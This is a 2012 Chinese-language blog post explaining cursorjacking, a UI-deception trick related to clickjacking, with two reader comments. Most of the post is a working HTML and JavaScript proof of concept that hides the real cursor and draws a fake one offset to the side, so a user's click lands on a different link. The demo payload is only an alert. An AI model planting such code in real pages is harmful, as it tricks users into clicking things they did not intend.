cursorjacking
发布:wpulog | 发布时间: 2012年1月19日 cursorjacking与clickjacking一样都是萎缩的phishing手段,clickjacking(点击劫持)当你单击A链接实际上打开的是B链接。cursorjacking(鼠标指针劫持)当你将鼠标放置在页面中的A对象上时,实际上鼠标是位于B对象上。下面是老外给的poc有兴趣的童鞋可以在firefox和Chrome下测试一下。你可以认为XSS不是技术活,但你的承认XSS用好了绝对是艺术活。
<body style="cursor:none;height: 1000px;">
<img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" />
<button id=fake style="font-size: 150%;position:absolute;top:100px;left:630px;">click me click me</button>
<div style="position:absolute;top:100px;left:30px;">
<a href="#" onclick="alert(/you clicked-me-instead/)">i'm not important</a>
</div>
<script>
var oNode = document.getElementById('cursor');
var onmove = function (e) {
var nMoveX = e.clientX, nMoveY = e.clientY;
oNode.style.left = (nMoveX + 600)+"px";
oNode.style.top = nMoveY + "px";
};
document.body.addEventListener('mousemove', onmove, true);
</script>
</body>
poc:http://blog.kotowicz.net/2012/01/cursorjacking-again.html
- 1.滴答声声博客
- http://huasawang.com/archives/1449.html
- 滴答声声博客提前祝博主春节快乐!
- 2012-1-21 17:29:17 回复该留言
- 2.滴答声声博客
- http://huasawang.com/archives/2057.html
- 了解了,谢谢。
- 2012-2-3 21:54:39 回复该留言
发表评论
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。



